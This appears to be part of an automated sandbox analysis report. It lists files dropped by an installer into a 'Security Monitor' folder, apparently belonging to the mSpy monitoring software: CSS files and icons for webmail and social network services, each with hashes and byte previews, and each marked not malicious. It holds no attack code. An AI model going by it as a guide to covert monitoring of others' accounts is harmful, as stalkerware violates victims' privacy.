http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0). /. { background:none !important;

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\reset.css (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	9410
Entropy (8bit):	4.808156480467523
Encrypted:	false
SSDEEP:	192:8xTTXb1y2qsr2WlPFGU6NQ78CodleKl5DJ:8Rysr2UgnXeKl59
MD5:	8FE70C8D484CF5852239704F1A614273
SHA1:	F13788A7DDCD3EA44A34779803CC8D27EC5C3C13
SHA-256:	6D46AD7400BA5FE7CADB930AEDAF0A8FEAD8609A5E26DCD48B274E6AC146DD94
SHA-512:	754CCE55105E01CD9668E2570212140022BB52FDC0FD02C60C34C8B691BC45D7B2187FCBA95FB9FC196D6F438154A22DAD4AFC044A3A1FC80024725AFA3066A6
Malicious:	false
Reputation:	unknown
Preview:	./! normalize.css v1.0.1 \| MIT License \| git.io/normalize /../* ==========================================================================. HTML5 display definitions. ========================================================================== /../. * Corrects `block` display not defined in IE 6/7/8/9 and Firefox 3.. /..article,.aside,.details,.figcaption,.figure,.footer,.header,.hgroup,.nav,.section,.summary {. display: block;.}../. * Corrects `inline-block` display not defined in IE 6/7/8/9 and Firefox 3.. /..audio,.canvas,.video {. display: inline-block;. display: inline;. zoom: 1;.}../. * Prevents modern browsers from displaying `audio` without controls.. * Remove excess height in iOS 5 devices.. /..audio:not([controls]) {. display: none;. height: 0;.}../. * Addresses styling for `hidden` attribute not present in IE 7/8/9, Firefox 3,. * and Safari 4.. * Known issue: no IE 6 support.. /..[hidden] {. display: none;.}../ ===========================

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\widgets.css (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	4357
Entropy (8bit):	5.086666572264107
Encrypted:	false
SSDEEP:	48:h7+KZxJqQACHvdNOHAQVVZoxkVSmoAVxrYFQAR8/cr0Rx//rxCP7Rit/i7ri:hiex4CvdK30WvBcAMm9jxCP1iJini
MD5:	1BC699D294BA8BD26942A616C3EA89BF
SHA1:	A9D12A169CB0280B92DE02AB8C6C7C8DC1C1B378
SHA-256:	F54611C97CE99395B222F18FAB12115EA88182BD5FA922B8942DC5E792184D91
SHA-512:	895F0F099AE6A4CDF35B076B84D353762555A74C1A0FCA45DE438E2FD8E0468484FA4480FB84F94AEC42F2FC4EA5939E2A3107B446656D1ABFEAFAE86DCAA2D2
Malicious:	false
Reputation:	unknown
Preview:	/*. Magento. . NOTICE OF LICENSE. . This source file is subject to the Academic Free License (AFL 3.0). * that is bundled with this package in the file LICENSE_AFL.txt.. * It is also available through the world-wide-web at this URL:. * http://opensource.org/licenses/afl-3.0.php. * If you did not receive a copy of the license and are unable to. * obtain it through the world-wide-web, please send an email. * to license@magentocommerce.com so we can send you a copy immediately.. . DISCLAIMER. . Do not edit or add to this file if you wish to upgrade Magento to newer. * versions in the future. If you wish to customize Magento for your. * needs please refer to http://www.magentocommerce.com for more information.. . @category design. * @package default_modern. * @copyright Copyright (c) 2012 Magento Inc. (http://www.magentocommerce.com). * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0). /../ Widgets =======================

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\GMX.com.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\GMX.com.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Gmail.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.0034072391179
Encrypted:	false
SSDEEP:	24:3l4333333Ba333U7JDYF7336Ooi/F73afj/F72vcvtRaIDJluX5Ojk:VgWF+OZ/Fmj/Fgc6+uJOjk
MD5:	67B4BC8703A96A1CAB1B0AC8E37B26F8
SHA1:	363D0703311B99984E26F216A5205CD8D03E8389
SHA-256:	AE2369C58A93218087EB6B5535B1D2547F1FAE00DBC7303ACE8B3B1238BC7CB2
SHA-512:	0283160D49F3F7C17496B5476B2BF7689B3203E0E97CD36CA6EBE06A24D46A62F469C4F24E310220AA48D4FF7AD6D51A56621ED443AFAA50B7645B6688EBB33A
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................?_..MZ.L...I...P...P...P...P...P...P...P...P...P...P...H.8.H*?..LZ.MZ................................................./9../9..KX.MZ................................................/9...9..KX.MZ................................................/9...9..KX.MZ................................................/9...9..KX.MZ......................p\|..co..................../9...9..KX.MZ..................P`..MZ..MZ..P[................./9...9..KX.MZ..............MZ..Q^..........O[..MZ..lw......./9...9..KX.MZ......Vc..MZ..co..................en..MZ..S]..../9...9..KX.MZ..MZ..MZ................................MZ..MZ..>K../9..MZ.MZ..O_..........................................R`..MZ..LW.KY.JYc.................................................Zg..LY.S..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Gmail.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	597
Entropy (8bit):	7.503484841838105
Encrypted:	false
SSDEEP:	12:6v/7w7/6TVuA6q45LsaGcUiSVgYtyHUzX8hXqY+sP5yuRGe0zwcu6S:X7/6xft45LqcUjGYUUzX8hXfPP0uiksS
MD5:	535102101CF2549EAAC03D4D2424C607
SHA1:	70BF44C6E737D6127182AB1D38840A448ED6A162
SHA-256:	2E520CE5AAAF8A0DC35E182FE8986438B8CAB107221304AB4C9EAA901E1956AE
SHA-512:	FA510429D278EDFC7576EC900B88A60D1E09B656CF558F16DBB1404137F372B89D67AD9B06EF6114D7353E4501486FEFD9284B888E53D29B8364604504C377D8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sBIT....\|.d.....pHYs.................IDAT8..Mh.Q...{3.....&.1..Zqg.i.A%.`.\...F.(....(.....q.E.e.mA..Z.XK..6.L3..ys]....Wzv..s..........yj.&[..t....U.0....;.\|..[.....%..J.HbZ..T.......T.<BPJ..0p....1~[.OFgv...dLj..:D..'..Y...?t}ziMwx.@#..jj..S.c..<...o%s..M.tbI...........5...w.Q2i...i%./...\|..s...u.j&.............k..9..r,.....p..9qW..bRi..W....}DC....T..E<\|T0......0Ijx....\V.t...._..d.[....S.p(......>.....o.m...T[.pl[h..3.#..rE..v...wM..8[......h.,..G.~'...m?...5..V...e.b.=.7.!...D4....q)....%B.m?...o..#..9w1......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Mail.RU.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Mail.RU.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Mail.com.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Mail.com.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Outlook Mail.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Outlook Mail.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Outlook.Live.com.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Outlook.Live.com.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Yahoo Mail.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Yahoo Mail.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Yandex Mail.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Yandex Mail.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\facebook.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.78558880583897
Encrypted:	false
SSDEEP:	12:KfbXxEm8sLBtLt08SHKdvaB8a+jzSCt/lgj5XTc64b6fNSuHwPqD7H:KfbhX8sL90rHKNaB8ayRYdjc64OpVb
MD5:	BD477227A18FED51A2C527EA4E32400B
SHA1:	6FC1F173245E77BDA386CE112D9A19502E5C0A92
SHA-256:	6569A42B81E6B02E8385CDF5EED48A3FBF3CB89101142723FAAEECDC9785D203
SHA-512:	20DC45444E3D2FF3C5C427C60A5B1C7941FFE74E79B9C156E033D53DCBB616AA2A0518AFC2CCFD7FAC4D95581AC2606DF81B7BACA7EA28AD875871949DD8229B
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ......................................................................................................fA..hB..kD..mE..oG..sI..tK..rI..lE..iC......................b?..................................fA.............._<.....d?..fA..hB..jC..e<.............d..d=.....b?..........]<.....c?..d@..fA..hB..b;.............c..b<.....a>..........[;.....a=..b>..d@..e@..`9.............a.._:.....`=..........Z:....._<..`=..b>..c?..Y4.............{\..Y5.....]<..........X9.....\;..]<.._<..a=..nN.............v..pQ.....[:..........V7.....X8..Y8..Y8..[:.............................W7..........S5.....eE..mL..sQ..wU.............................T5..........{[.....f..g..g..g..}Y................wS.....\|\..........j.....i..i..i..j..e........................i..........o.....o..o..o..o..o..k.....................n..............u.........................v......................{..{..{..{..{..{..{..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\facebook.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	485
Entropy (8bit):	7.183161975210355
Encrypted:	false
SSDEEP:	12:6v/7wM6ZjkLD81AWeAqr9XoQh35hBMjExRnj8OiD1i77sOw3N:XMfLDMe/4QFTyExl8Oihi8OIN
MD5:	E09587AD1847CF4E2AD03524A3C1CA7D
SHA1:	9564E6F66C74E3079F2DDA05A6A61742FB23683D
SHA-256:	603A9A84F0E095585BD39B27CD4C4D194A4A45C664373D636E493C2841084957
SHA-512:	5A00DB9331B1F1536C6152BF99F7245D159E46101122FA6827B0D5EF8D0377DB66DBB4CEAECA69F1AEC8FDDE51B506CB471B58A34E8A3DF09BAE0FC3F117CA2A
Malicious:	false
Reputation:	unknown
